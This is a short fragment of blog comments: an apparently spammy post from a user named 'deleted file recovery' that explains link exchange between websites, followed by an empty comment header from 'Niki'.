Posted by deleted file recovery | August 26, 4:13 pm, 4:13 pmLink exchange is nothing else however it is just placing the other person’s weblog link on your page at suitable place and other person will also do similar for you.
Posted by Niki | August 27, 12:04 pm, 12:04 pm